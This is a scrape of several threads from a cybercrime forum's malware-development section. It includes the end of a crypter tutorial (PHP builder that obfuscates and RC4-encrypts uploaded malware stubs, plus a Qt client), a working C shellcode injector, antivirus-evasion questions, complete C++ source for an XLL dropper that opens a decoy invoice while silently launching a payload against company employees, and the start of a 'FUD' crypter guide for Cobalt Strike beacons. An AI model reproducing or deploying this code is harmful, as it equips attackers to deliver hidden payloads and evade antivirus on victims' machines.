    if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ProjectPath)) 
    {
      //echo "stub uploaded success";
    } 
    else 
    {
      //echo "Sorry, Faild to upload the stub";
    }

}

function geVarName()
{
    for($i=0;$i<=9999;$i++)
    {
        $randVar = genRandname(5);
        //echo $randVar."\n";
        if(is_numeric($randVar[0]))
        {
            continue;
        }
        else
        {
            break;
        }
    }
    
    return $randVar;
}



function HashString($ProjectPath)
{
    
    $funcs_pep_name     = geVarName();
    $funcs_file_read    = file_get_contents("$ProjectPath\\funcs.h");
    $funcs_file_replace = str_replace("pBEB",$funcs_pep_name,$funcs_file_read);
    $funcs_file_write   = file_put_contents("$ProjectPath\\funcs.h",$funcs_file_replace);    
    
    // $funcs_replacement_ntdll_name = geVarName();
    // $funcs_file_read    = file_get_contents("$ProjectPath\\main.cpp");
    // $funcs_file_replace = str_replace("replacement_ntdll",$funcs_replacement_ntdll_name,$funcs_file_read);
    // $funcs_file_write   = file_put_contents("$ProjectPath\\main.cpp",$funcs_file_replace);    
    
    // $funcs_IsSandboxDected_name = geVarName();
    // $funcs_file_read    = file_get_contents("$ProjectPath\\funcs.h");
    // $funcs_file_replace = str_replace("IsSandboxDected",$funcs_IsSandboxDected_name,$funcs_file_read);
    // $funcs_file_write   = file_put_contents("$ProjectPath\\funcs.h",$funcs_file_replace);        
    
    // $funcs_file_read    = file_get_contents("$ProjectPath\\main.cpp");
    // $funcs_file_replace = str_replace("IsSandboxDected",$funcs_IsSandboxDected_name,$funcs_file_read);
    // $funcs_file_write   = file_put_contents("$ProjectPath\\main.cpp",$funcs_file_replace);    
    
}

function __Main__()
{

    $randomFolderName = genRandname(30);

    if($_SERVER['REQUEST_METHOD'] === 'POST')
    {    
        XcopyFolder($randomFolderName);
        StubUpload($randomFolderName);
        echo $randomFolderName;
    }
    else 
    {    

            $pharse = $_GET["pharse"];
            $foldername = $_GET["foldername"];
        
            HashString($foldername);
        
            exec("hasher.exe $foldername\\");
            exec("rc4Crypter.exe $foldername\\stub.bin $foldername\\ $pharse");
            

            #build the crypter
            $commend   = "MSBuild.exe ";
            $commend  .= "$foldername\Decrypt.vcxproj -t:Rebuild -p:Configuration=Release";// 
            exec($commend);
            exec("move $foldername\Release\decrypt_stub.exe $foldername\stub.exe");
            echo "$foldername/stub.exe";

        
    }

    


}



 __Main__();


?>

What this function does is generate a random string name for the copied folder

Then we use the XcopyFolder folder function to create the new folder and copy the project files to it before starting runtime obfuscation and building the project
The StubUpload function is responsible for uploading the stubs or malwares from the customer's PC to the server to do the encryption of it

Also, you can see clearly the function geVarName and this function is for generating a random string but as you may already know programming languages do not accept the starting of a function or variable name as a number so inside the function we make a loop to generate random strings and check if the first character is numeric continue other than this break and return the random string

HashString the runtime obfuscation function.
In this function, we use the geVarName function as I said before to generate a random string
Then we use the function file_get_contents to read the file has the variables or functions we need to obfuscate then use the str_replace function to replace the random generated variable name with the one we need to change

In this example, I only obfuscate the PPEB variable name only to show you the proof but you can obfuscate all variables you want with the same technique only changing the file name and variable name. but here you need to focus because for example if you obfuscate a function name for example in funcs.h file and the function is included in main.cpp here you also need to include the main.cpp and obfuscate the same function name with the same technique above

Finally, we use file_put_content to replace the old file that is not obfuscated strings with the new one that we obfuscate.

The Function Main invokes everything above.
First, in this function, We use the function genRandname to generate a random folder name then as you can see we checked the request type is it GET or POST if a post Request that means we are in the Uploading stage we are uploading the stub so what we do after generating the random folder name we pass the folder name to the function XcopyFolder to create the directory for us and copy the decrypt project files to the newly generated file, then we invoked the stub upload function to start the uploading after we finished uploading we print the folder name so we can use it in the stage2 and you can see that in the Qt section Soon
And if the request is a GET request then this means we are in stage 2
Here we are reading the phrase or password from the URL and folder name also
Then we invoke the function HashString to do the runtime obfuscation

Now fire up your Qt we're going to need it
Go to mainwindow.h and add this code
private slots:

C++:Copy to clipboard

    void onFileUploadonfinished(QNetworkReply *rep);
    void onStage2finished(QNetworkReply *rep);
    void onDownloadingFinished(QNetworkReply *rep);

and in mainwindow.cpp add this code

C++:Copy to clipboard

void MainWindow::onDownloadingFinished(QNetworkReply *rep)
{
    QByteArray ReadedBytes = rep->readAll();
    rep->disconnect();
    QString string_Body(ReadedBytes);
    //qDebug() << "3 - Replay : \n" << string_Body << "\n";
    QFile file(ui->saved_file_path->text());

    file.open(QIODevice::WriteOnly);
    file.write(ReadedBytes);
    file.close();
    QMessageBox::information(this,"Succes"," Succes");
}
void MainWindow::onStage2finished(QNetworkReply *rep)
{
    QByteArray ReadedBytes = rep->readAll();
    rep->disconnect();
    QString string_Body(ReadedBytes);
    qDebug() << "2 - Replay : \n" << string_Body << "\n";

    // stage 3 builder.php?stage3=1

    QString Url3 = "http://127.0.0.1/crypter/project/";
    Url3.append(string_Body);

    //qDebug() << "stage 3 url " << Url3 << "\n";

    QUrl stage2url(Url3);

    QNetworkAccessManager *ntmanager = new QNetworkAccessManager(this);
    connect(ntmanager,&QNetworkAccessManager::finished,this,&MainWindow::onDownloadingFinished);
    ntmanager->get(QNetworkRequest(stage2url));
}

void MainWindow::onFileUploadonfinished(QNetworkReply *rep)
{
    QByteArray ReadedBytes = rep->readAll();
    rep->disconnect();
    QString string_Body(ReadedBytes);
    //qDebug() << "1 - Replay : \n" << string_Body << "\n";

    // stage 2
    QString Url2 = "http://127.0.0.1/crypter/project/builder.php?stage2=1&foldername=";
    Url2.append(string_Body);
    Url2.append("&pharse=");
    Url2.append(ui->pharse->text());


    QUrl stage2url(Url2);

    QNetworkAccessManager *ntmanager = new QNetworkAccessManager(this);
    connect(ntmanager,&QNetworkAccessManager::finished,this,&MainWindow::onStage2finished);
    ntmanager->get(QNetworkRequest(stage2url));

}

void MainWindow::stage1(QString filepath)
{

    QUrl url("http://127.0.0.1/crypter/project/builder.php");

    QHttpMultiPart* mp = new QHttpMultiPart(QHttpMultiPart::FormDataType);

    // Add the image data.
    QFile file(filepath);
    file.open(QIODevice::ReadOnly);
    QHttpPart imagePart;
    imagePart.setHeader(QNetworkRequest::ContentDispositionHeader, "form-data; name=\"fileToUpload\"; filename=\"" + file.fileName() + "\"");

    imagePart.setHeader(QNetworkRequest::ContentTypeHeader, "application/octet-stream");

    imagePart.setBody(file.readAll());
    mp->append(imagePart);

    // stage 1
    QNetworkAccessManager *manager = new QNetworkAccessManager(this);

    QNetworkReply* reply = manager->post(QNetworkRequest(url), mp);
    mp->setParent(reply);

    manager->setTransferTimeout(1000000000);
    connect(manager,&QNetworkAccessManager::finished,this,&MainWindow::onFileUploadonfinished);

}

void MainWindow::on_encrypt_button_clicked()
{

    if(!stub_path.isEmpty() && !encrypted_stub_path.isEmpty() &&  !ui->pharse->text().isEmpty())
    {
        //[qt1]
        stage1(stub_path);
    }
    else
    {
        QMessageBox::critical(this,"Error"," Please make sure all inputs are not Empty");
    }

}

This code is responsible for the three stages left.
1 - upload the stub create the folder and copy files of the project to the newly generated folder
2 - pass the phrase or password to the server so the server can use it to encrypt the stub and retrieve the download path of the encrypted stub
3 - download the encrypted stub

All done the Project is finished.

If you have suggestions about a new tutorial in the malware development category please tell me in posts or PM me I will try hard to create it and it for xss forum members

All files of the project can be downloaded from this link:
Password : xss.is

Есть ли смысл писать реализации двухсвязанных списков под софты? (C++)
ID: 6765d804b4103b69df3756f1
Thread ID: 116184
Created: 2024-06-05T21:35:38+0000
Last Post: 2024-06-25T02:32:47+0000
Author: Alexey18
Replies: 6 Views: 2K

Короче я думал написать свой аналог вектору посредством(malloc/realloc), ведь это нормально так уберет вес и на какое-то время даже запутает реверс-инженера (нет).
Но узнал что существует такие методики как двухсвязанный/односвязанный список(когда элемент указывает на впереди стоящий элемент). Реализация быстрая, но собрались вопросики)
Есть ли смысл практического использования данного дела для ускорения процесса сбора там данных/обработки чего-то?
И как на подобные вещи реагирует авер?
Или есть резон тупо написать свою реализацию векторов, чтобы работало с любым типом данных?
Я в курсе что существует stl: list(аналог вектору, но выполняющий функ. двусвязанного), но тут вес и стороннее добро от майков.

Интересно послушать мнение людей, которые возможно имели практический опыт работы.

Исправление кода для обхода АВ
ID: 6765d804b4103b69df3756fb
Thread ID: 114583
Created: 2024-05-15T09:49:11+0000
Last Post: 2024-05-23T09:54:07+0000
Author: user_47
Replies: 14 Views: 2K

Всем привет!

Подскажите методику правки исходников чтобы билд переставал чекаться АВ.

Согласно доступной мне теории делал исправлял имена переменных и функций, строки склеивал. Не помогает.

Что ещё делать можно?

Как сделать Accessibility Service по координатам?
ID: 6765d804b4103b69df37570b
Thread ID: 111481
Created: 2024-03-28T12:54:16+0000
Last Post: 2024-04-23T09:01:04+0000
Author: XDRevil
Replies: 27 Views: 2K

Щас проблема(Актуальная), что авто-выдача и другие клики (В хуке) не работает. Говорили "Кодеры" что в Андроид 14 убрали способ выдачи, сказали только способ по координатам

Evolving from basic
ID: 6765d804b4103b69df37572c
Thread ID: 99994
Created: 2023-10-13T09:26:59+0000
Last Post: 2024-03-19T14:22:38+0000
Author: el84
Replies: 20 Views: 2K

Hello, in this thread I will start a new project where my plan is to begin with a very simple code and improve it along the time using my free time. As you all will notice this first version of the code have nothing fancy and it is the purpose that it start from the most basic thread(shellcode) injector. So for this starting point I choose the following requirements .

The program should receive a single parameter which is the Process ID of the target process to inject the shellcode and to just use C standard library and WinAPI. For this first version there is no much to talk about, I used the atoi() function to convert the parameter(process id) from C string to integer and then a sequence of calls to WinAPI to reach the goal. The name of the functions from WinAPI are self explanatory but I'm also adding the links to documentation just in case.

The payload included with the program is just a "NOP NOP NOP RET" in x86_64 is useful in this context to test if the injector is working, the target process should keep running fine and the injector itself should end returning 0.

Implementation:

C:Copy to clipboard

#include <Windows.h>
#include <stdio.h>
#include <stdbool.h>

char payload[] = { 0x90,0x90 ,0x90, 0x90, 0xc3 };

int main(int argc, char** argv)
{
    int pid;
    HANDLE proc_handle, remote_thread_handle;
    void* remote_mem;
    size_t written;

    if (argc < 2) {
        printf("Usage: %s <pid>\n", argv[0]);
        return 1;
    }

    pid = atoi(argv[1]);
    proc_handle = OpenProcess(
        PROCESS_CREATE_THREAD |
        PROCESS_QUERY_INFORMATION |
        PROCESS_VM_OPERATION |
        PROCESS_VM_WRITE |
        PROCESS_VM_READ, false, pid);
   
    if (proc_handle == NULL) {
        printf("Can't open process %d\n", pid);
        return GetLastError();
    }

    printf("proc_handle = %p", proc_handle);

    remote_mem = VirtualAllocEx(
        proc_handle, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (remote_mem == NULL) {
        printf("failed to allocate remote memory");
        return GetLastError();
    }

    WriteProcessMemory(
        proc_handle, remote_mem, payload, sizeof(payload), &written);

    remote_thread_handle =
        CreateRemoteThread(proc_handle, NULL, 0,
            (LPTHREAD_START_ROUTINE)remote_mem, NULL, 0, NULL);

    if (remote_thread_handle == NULL) {
        printf("failed to create remote thread");
        return GetLastError();
    }

    return 0;
}

This simple program which don't even inject malicious code yet is already flagged as defense evasion by defender as can be seen on the following image, so in the next post I should change the code to just works without triggering defender:

Observation for mods: I will keep a similar thread on XSS, **** and Exp, just warn me if its should not be done here.

References:

![learn.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)

[ OpenProcess function (processthreadsapi.h) - Win32 apps

](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf- processthreadsapi-openprocess)

Opens an existing local process object.

learn.microsoft.com

![learn.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)

[ VirtualAllocEx function (memoryapi.h) - Win32 apps

](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi- virtualallocex)

Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero. (VirtualAllocEx)

learn.microsoft.com

![learn.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)

[ WriteProcessMemory function (memoryapi.h) - Win32 apps

](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi- writeprocessmemory)

Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.

learn.microsoft.com

![learn.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)

[ CreateRemoteThread function (processthreadsapi.h) - Win32 apps

](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf- processthreadsapi-createremotethread)

Creates a thread that runs in the virtual address space of another process.

learn.microsoft.com

Создание морфера C/C++ кода
ID: 6765d804b4103b69df375749
Thread ID: 90153
Created: 2023-06-10T12:41:32+0000
Last Post: 2024-01-22T10:41:29+0000
Author: secflag
Replies: 33 Views: 2K

Появилась потребность морфить исходный код, немного есть представление, но хочется услышать мнение других.
Возможно, у кого-то есть какие-то материалы, или помощь в конструкции, буду очень благодарен.
Пробовал написать что-то, до генерации ветвлений не дошел :)

XLL DROPPER | Learn to create Native xll Dropper
ID: 6765d804b4103b69df375780
Thread ID: 99463
Created: 2023-10-05T19:04:19+0000
Last Post: 2023-10-20T14:11:46+0000
Author: 0x43rypt0n
Prefix: Статья
Replies: 21 Views: 2K

source: https://www.xss.is
Thread by : 0x43rypt0n

Write XLL Dropper in c++ , a red teams most used dropper , learn how to be like a red teams and APT groups by building your XLL Dropper

Before we dig deeper, what is the Hack Dropper, and what the Hack is the XLL Dropper what are the differences and when to use it and why to use it and not use an exe dropper

#What the Hack is Dropper

A Dropper is like a delivery vehicle that has a payload to drop when it arrives at the target location!
We can take an example of Amazon delivery autopilot drones which carry multiple payloads and when they arrive at a location it drop the payload on the door of the house
Same for the Dropper in malware the dropper can carry 1 payload or more for example an old Dropper may carry 1 video or photo and 1 rat and the hacker can create an icon from the image that the dropper carries and change the icon of the exe to the new icon and spoof the extension of the exe to be dropper.png.exe and because windows default settings will not show the extension it will appear like this dropper.png and the correct extension will be hidden
When the hacker sends it to the target and the target clicks on it in 1 click it will drop the image and run it and will drop the RAT and run it in 1 click the will fool the target he clicking on the image because see they image show up in his windows
But what he did not know was that the image may maybe in the temp folder

#What is the Hack is XLL Dropper and how does it work

Xll is a file extension or plugin for excel files
xll files are similar to dlls they are the same but the xll is not a normal executable file it is a plugin for excel files
for example you can write a plugin for excel files and in the plugin, you can add functions to calculate or add a formula for you and in excel you can import the plugin or xll file and start using the functions that you create in the plugins.

There is 1 more difference between the dll and xll files in dll you can not click it to launch the only way to use it without loading it using exe using loadlibraryA is by using the Rundll32.exe it but with xll, you can 1 click to launch it and use it
when you click on the xll file the Excel will launch and you can start using excel with xll loaded

But to make a 1 click xll dropper work there is a very important function we will use
int WINAPI xlAutoOpen(void);

The functions take no arguments , For this function to be used correctly we need to export it from the xll file so the excel can use it and to make the xll file valid xll or the xll file will not opened using excel and will show an error

#How the Xll Dropper works

Same as the exe dropper but these days exe files and extension spoofing are very detected
So as a solution Hackers and developers start using XLL files to deliver their payload because
Excel files are widely used in companies almost every company uses Excel
So how does the xll drooper work?
When a target clicks an xll file the excel.exe will import the xll file and search for the function xlAutoOpen if he finds it he triggers the function Inside the xlAutoOpen function the hacker does what a normal dropper does like dropping the excel file to the temp directory to fool the employee and drop the Rat and starting them both

The target will see the excel file show up on his window so and the Rat will run in the background so no suspicious

#When to use Xll Dropper and when to use Exe Dropper?
So what to use? it depends on what are you targeting
Of course not all the targets will have excel installed so does the xll dropper worse
The answer is yes if you are targeting a youtube channel , company employee
You can use the xll dropper but if you are targeting random people you can use only Dropper as a PDF dropper by spoofing the extension and doing some icon changes which I don't recommend

Now there are a few tools you need to download before we start coding

1 - Visual studio IDE
2 - Excel or Microsoft Office
3 - Putty to test the dropper you can use any other portable software
4 - Download Excel 2013 SDK from Microsoft <https://www.microsoft.com/en- us/download/details.aspx?id=35567>

The installation is very easy

Lets start writing the XLL Dropper by creating a new dll project

As an Option You can disable precompiled headers you can do that by opening the project properties C/C++ Precompiled headers
Precompiled headers change use /Yu to not using precompiled headers
pasted image 0.png

Now you can delete the line #include "pch.h" and remove the file from the project

Before we add the headers and libraries for the Excel SDK will start coding the dropper
But first create a new excel file that will be used to trick the company employee
Examble for simple invoice :
pasted image 0 (1).png

Dont use it in attacks this is just an example

Back to the visual studio and create resource items the visual studio will automatically generate 2 files resource.h , resource.rc open the resource header add the 4 four defines

C:Copy to clipboard

#define EXCEL_FILE 105
#define EXCEL_INVOICE 106

#define EXE_FILE 107
#define PAYLOAD_FILE 108

EXCEL_FILE is the type of the file excel EXCEL_INVOICE is the name of the file
EXE_FILE is the type of the exe file PAYLOAD_FILE is the name of the exe file

Close the resource header and open the resource.rc right click and click on view code

Delete everything in the file and add these few lines

C:Copy to clipboard

#include "resource.h"

EXCEL_INVOICE EXCEL_FILE  "invoice.xlsx"

PAYLOAD_FILE EXE_FILE   "putty.exe"

So we include the resource header and add the type and the name of the file and the last thing is the path of the file which in our case invoice.xlsx putty.exe
Copy the putty and invoice files to the same directory of your project

Back to the main file and compile the project should compile success

Now first we need to get the path of the excel.exe this path is stored in the registry under

Computer\HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options

Value name: PROGRAMDIR

Now its the time to import the Excel sdk go to properties c/c++ General Add additional include library
Add the path of the Sdk include library
Again go to Properties c/c++ Linker Input Additional dependencies add the path of the library make sure you choose the 64 bit version now you can include the sdk header

C:Copy to clipboard

#include "XLCALL.H"

Create the xlAutoOpen

C:Copy to clipboard

extern "C" __declspec(dllexport) short __stdcall xlAutoOpen()
{
}

The xlAutoOpen function is exported as you see here we add everything

Lets get the path of the excel.exe by querying the register

C:Copy to clipboard

    HKEY key;
    RegOpenKeyA(HKEY_CURRENT_USER, "Software\\Microsoft\\Office\\16.0\\Word\\Options", &key);

    DWORD regType = REG_SZ;
    char  ExcelPath[MAX_PATH];
    DWORD ExcelPathsize = MAX_PATH;

    RegQueryValueExA(key, "PROGRAMDIR", NULL, &regType, (LPBYTE)ExcelPath, &ExcelPathsize);

    strcat_s(ExcelPath, "excel.exe");

So we used RegOpenKeyA to get a handle to the registry then we used the function RegQueryValueExA
To query the value of the name PROGRAMDIR

You can open the register by typing regedit in Windows Run and go to this key path
Computer\HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options
You can see the path without excel.exe but if you copy the path and past it in your Windows Explorer you can find the excel.exe this problem fix is very easy we used strcat_s to Append the excel.exe to the Microsoft Office path so we can use it later to execute the invoice.xlsx

Now we have the full path of the excel.exe .
We need now to read the xlsx and putty files from the resource we can do that in a few easy steps
First we need to find the resource in the xll so we used the function FindResource
But before we first need to get module Handle using GetModuleHandleEx

C:Copy to clipboard

    HMODULE hmodule = retriveHandle();
    HRSRC hRes = FindResource(hmodule, MAKEINTRESOURCE(EXCEL_INVOICE), MAKEINTRESOURCE(EXCEL_FILE));


    HGLOBAL hData = LoadResource(hmodule, hRes);

    int   excelSize = (SizeofResource(hmodule, hRes));
    char* Excel   = (char*)LockResource(hData);

After getting a handle in the function FindResource the first parameter is the handle the next is the name of the file the third is the type of the file so now
After finding the resource need to load the resource using the function LoadResource
This function has 2 parameters first is the handle and the second is the Handle that is returned by the function FindResource Now we had to get the size of the resource before we could read it and write it this can be done using the function SizeofResource
Now we can read it using the function LockResource this function will retrieve a pointer to the resource finally we can write it to a file but i will not do that right now will get a pointer to the putty file

C:Copy to clipboard

 HRSRC phRes = FindResource(hmodule, MAKEINTRESOURCE(PAYLOAD_FILE), MAKEINTRESOURCE(EXE_FILE));
 HGLOBAL phData = LoadResource(hmodule, phRes);

  int PayloadSize = (SizeofResource(hmodule, phRes));
  char* Payload = (char*)LockResource(phData);

This code same as the code we use to get a pointer to the xlsx file or excel file but we only replaced the name and the type of the file in the FindResource function with the name and type of the payload file or the putty.exe file Remember you can name them whatever you want

Now will write these two files to the document folder we can get the temp folder path using the function SHGetFolderPathA
This function is included in the header file shlobj make sure you include it another thing you need to add the library shell32.lib using #pragma comment

C:Copy to clipboard

#include <shlobj.h>
#pragma comment(lib, "shell32.lib")

Also dont forget to include resource.h header file

C:Copy to clipboard

    char excel_file_path[MAX_PATH];
    const char* excel_file_name = "\\invoice.xlsx";
    char my_documents[MAX_PATH];
    HRESULT result = SHGetFolderPathA(NULL, CSIDL_PERSONAL, NULL, SHGFP_TYPE_CURRENT, my_documents);

    strcpy_s(excel_file_path, my_documents);
    strcat_s(excel_file_path, excel_file_name);

So if you understand c++ you notice that we create 3 variables one to store the name of the excel file one to store the full path of the excel file and the third and last one to store the document folder path
After we are done we use strcpy_s to copy the document path to the excel_file_path variable and then we copy the excel file name to the excel_file_path using the function strcat_s
The reason we did not append the excel file name to the document path variable because we will use the same directory twice one for the excel file and the second for the payload file and do to not use the same function SHGetFolderPathA twice we create the third variable

C:Copy to clipboard

    char payload_file_path[MAX_PATH];
    const char* payload_file_name = "\\putty.exe";

    strcpy_s(payload_file_path, my_documents);
    strcat_s(payload_file_path, payload_file_name);

So here is the trick we did what we did in the code above we created two other variables for the payload and we copied the document path to the payload path and appended the payload file name to the full payload path

so we can now write the both files excel file and payload file to the disk

C:Copy to clipboard

    HANDLE hXllFile = CreateFileA(excel_file_path, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    WriteFile(hXllFile, Excel, excelSize, 0, 0);
    CloseHandle(hXllFile);


    HANDLE hPayloadFile = CreateFileA(payload_file_path, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    WriteFile(hPayloadFile, Payload, PayloadSize, 0, 0);

    CloseHandle(hPayloadFile);

We used the function CreateFileA and passed the path excel excel_file_path in the parameter 1 to make sure in parameter 2 you pass GENERIC_WRITE so you can get permission to write files third and fourth parameters NULL the 6 CREATE_ALWAYS so every time the xll file is clicked the dropper will delete the old one and write new data here its up to you , you can change CREATE_ALWYAS to OPEN_ALWAYS which will create the file if not exist but if the file exists will not replace old with a new file
parameter 7 this cannot be changed and should be FILE_ATTRIBUTE_NORMAL

Then we use the WriteFile function to write the excel bytes to the desk first parameter is the handle to the file we created second is the excel byte that we get using the function LockResource

Finally we close the handle and Dont forget to close the handle or the file will be busy and you cannot launch it using excel.exe
Same with the payload we did the same thing with no extra steps only changing the variables names

C:Copy to clipboard

 LPSTARTUPINFOA startupinfo_1 = new STARTUPINFOA();
 LPPROCESS_INFORMATION procinformation_1 = new PROCESS_INFORMATION();

 char process_name[MAX_PATH];

 strcpy_s(process_name, "c:\\windows\\system32\\cmd.exe /c \"\"");
 strcat_s(process_name, ExcelPath);
 strcat_s(process_name, "\" \"");
 strcat_s(process_name, excel_file_path);
 strcat_s(process_name, "\" \"");

 MessageBoxA(NULL, process_name,NULL , MB_OK);
 CreateProcessA(NULL, (LPSTR)process_name, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, startupinfo_1, procinformation_1);


 LPSTARTUPINFOA startupinfo_2 = new STARTUPINFOA();
 LPPROCESS_INFORMATION procinformation_2 = new PROCESS_INFORMATION();


 CreateProcessA(NULL, (LPSTR)payload_file_path, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, startupinfo_2, procinformation_2);

This will maybe a complicated part because we did a few steps before we executed the excel file for the putty is very simple we directly launch it up as you see in the code
But for the excel we first a single variable to copy the full command to it then we use the function strcpy_s to copy the default cmd.exe path and we use /c so the cmd can carry the next command and we don’t forget to add two double quotes one for the full command and the second is for the excel.exe path
Then we use the function strcat_s to copy the excel.exe path then we close the second double quote and open a new one for the excel file path and close the first and last quotes we opened then we use the function CreateProcess to execute the command
It takes a few arguments the first is the path of the executable if we are executing a single executable like in putty.exe we use the first parameter but in the excel we will use the second parameter because we will use cmd.exe with arguments
The third and fourth are Null the parameter number 5 is FALSE and for the 6 parameters for the excel we dont need any console so we used CREATE_NO_WINDOWS but for the putty i used CREATE_NEW CONSOLE only to show you how it works but when using this to target some targets make CREATE_NO_WINDOWS this is important to not show any console on the target screen

Full source code :
dllmain.cpp

C:Copy to clipboard

#include <windows.h>
#include <shlobj.h>
#include "XLCALL.H"
#include "resource.h"


#pragma comment(lib, "shell32.lib")

HMODULE retriveHandle()
{
    HMODULE hmodule = NULL;

    GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,LPCWSTR(retriveHandle), &hmodule);

    return hmodule;
}


extern "C" __declspec(dllexport) short __stdcall xlAutoOpen()
{

    HKEY key;
    RegOpenKeyA(HKEY_CURRENT_USER, "Software\\Microsoft\\Office\\16.0\\Word\\Options", &key);

    DWORD regType = REG_SZ;
    char  ExcelPath[MAX_PATH];
    DWORD ExcelPathsize = MAX_PATH;

    RegQueryValueExA(key, "PROGRAMDIR", NULL, &regType, (LPBYTE)ExcelPath, &ExcelPathsize);

    strcat_s(ExcelPath, "excel.exe");


    HMODULE hmodule = retriveHandle();
    HRSRC hRes = FindResource(hmodule, MAKEINTRESOURCE(EXCEL_INVOICE), MAKEINTRESOURCE(EXCEL_FILE));


    HGLOBAL hData = LoadResource(hmodule, hRes);

    int   excelSize = (SizeofResource(hmodule, hRes));
    char* Excel   = (char*)LockResource(hData);

    HRSRC phRes = FindResource(hmodule, MAKEINTRESOURCE(PAYLOAD_FILE), MAKEINTRESOURCE(EXE_FILE));
    HGLOBAL phData = LoadResource(hmodule, phRes);

     int PayloadSize = (SizeofResource(hmodule, phRes));
     char* Payload = (char*)LockResource(phData);

    char excel_file_path[MAX_PATH];
    const char* excel_file_name = "\\invoice.xlsx";
    char my_documents[MAX_PATH];
    HRESULT result = SHGetFolderPathA(NULL, CSIDL_PERSONAL, NULL, SHGFP_TYPE_CURRENT, my_documents);

    strcpy_s(excel_file_path, my_documents);
    strcat_s(excel_file_path, excel_file_name);


    char payload_file_path[MAX_PATH];
    const char* payload_file_name = "\\putty.exe";

    strcpy_s(payload_file_path, my_documents);
    strcat_s(payload_file_path, payload_file_name);

    HANDLE hXllFile = CreateFileA(excel_file_path, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    WriteFile(hXllFile, Excel, excelSize, 0, 0);
    CloseHandle(hXllFile);


    HANDLE hPayloadFile = CreateFileA(payload_file_path, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    WriteFile(hPayloadFile, Payload, PayloadSize, 0, 0);

    CloseHandle(hPayloadFile);


    LPSTARTUPINFOA startupinfo_1 = new STARTUPINFOA();
    LPPROCESS_INFORMATION procinformation_1 = new PROCESS_INFORMATION();

    char process_name[MAX_PATH];

    strcpy_s(process_name, "c:\\windows\\system32\\cmd.exe /c \"\"");
    strcat_s(process_name, ExcelPath);
    strcat_s(process_name, "\" \"");
    strcat_s(process_name, excel_file_path);
    strcat_s(process_name, "\" \"");

    MessageBoxA(NULL, process_name,NULL , MB_OK);
    CreateProcessA(NULL, (LPSTR)process_name, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, startupinfo_1, procinformation_1);


    LPSTARTUPINFOA startupinfo_2 = new STARTUPINFOA();
    LPPROCESS_INFORMATION procinformation_2 = new PROCESS_INFORMATION();


    CreateProcessA(NULL, (LPSTR)payload_file_path, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, startupinfo_2, procinformation_2);



    return 0;
}



BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

This is tasted on Windows 11 and Microsoft office 2019

Create Your own crypter and Encrypt Your Cobalt strike beacon and make it fud Bypass Kaspersky, Windows defender And most Used AV
ID: 6765d804b4103b69df375787
Thread ID: 97133
Created: 2023-09-02T18:34:13+0000
Last Post: 2023-10-01T10:33:39+0000
Author: TOP G
Prefix: Статья
Replies: 25 Views: 2K

Write Your Own crypter with GUI in One tutorial, In less than One Hour. And Evad 's most popular AV, EDR products!

The Killer Guide by TOP G
Sourcehttps://xss.is

The final result of the crypter we will develop in this tutorial :

pasted image 0.png

**Hi, today I will teach you how to develop your own advanced crypter Fud Runtime + Scantime, After this tutorial I guarantee to you , you will bypass Most used AV ( antiviruses ) Such as Windows Defender, Kaspersky, Avira, Avast, Bitdefender, AVG, and more.

I will leave ( Proof of concept ) Videos for you to see the bypass, I created videos Bypassing on the Top asked to bypass Av like Windows Defender and Kaspersky.

This is an advanced tutorial that will help beginners and advanced Users, So stay with me and make sure your coffee cup is ready before you start reading.**

This Guide will be splited into Three stages,

Stage 1: The GUI which will be the builder including the Login window which will handle the serial key between the server and GUI and if login success will close itself and Show the MainWindow, and the MainWindowwhich will be used to handle the shellcode
between the server and the Gui.

Attention: We will use the Server side for Authentication, Let us assume we have 100 Paid users, every user should have a different SerialKey, which will store the SerialKey in the database on the Server side, Also We will use the Server side to encrypt the Cobalt strike beacon for a reason.

Why use Server-side for Encryption?

We wan’t store the encrypted shellcode for example: in the pe section or Resource cause these two ways are most of the time detected
One more reason is To make our Final stub More FUD and undetectable By building it at Runtime I will discuss everything later.

Stage 2: HTTP Server with php installed On Windows System, I suggest you use Windows Server 2019 with Microsoft Defender Disabled.
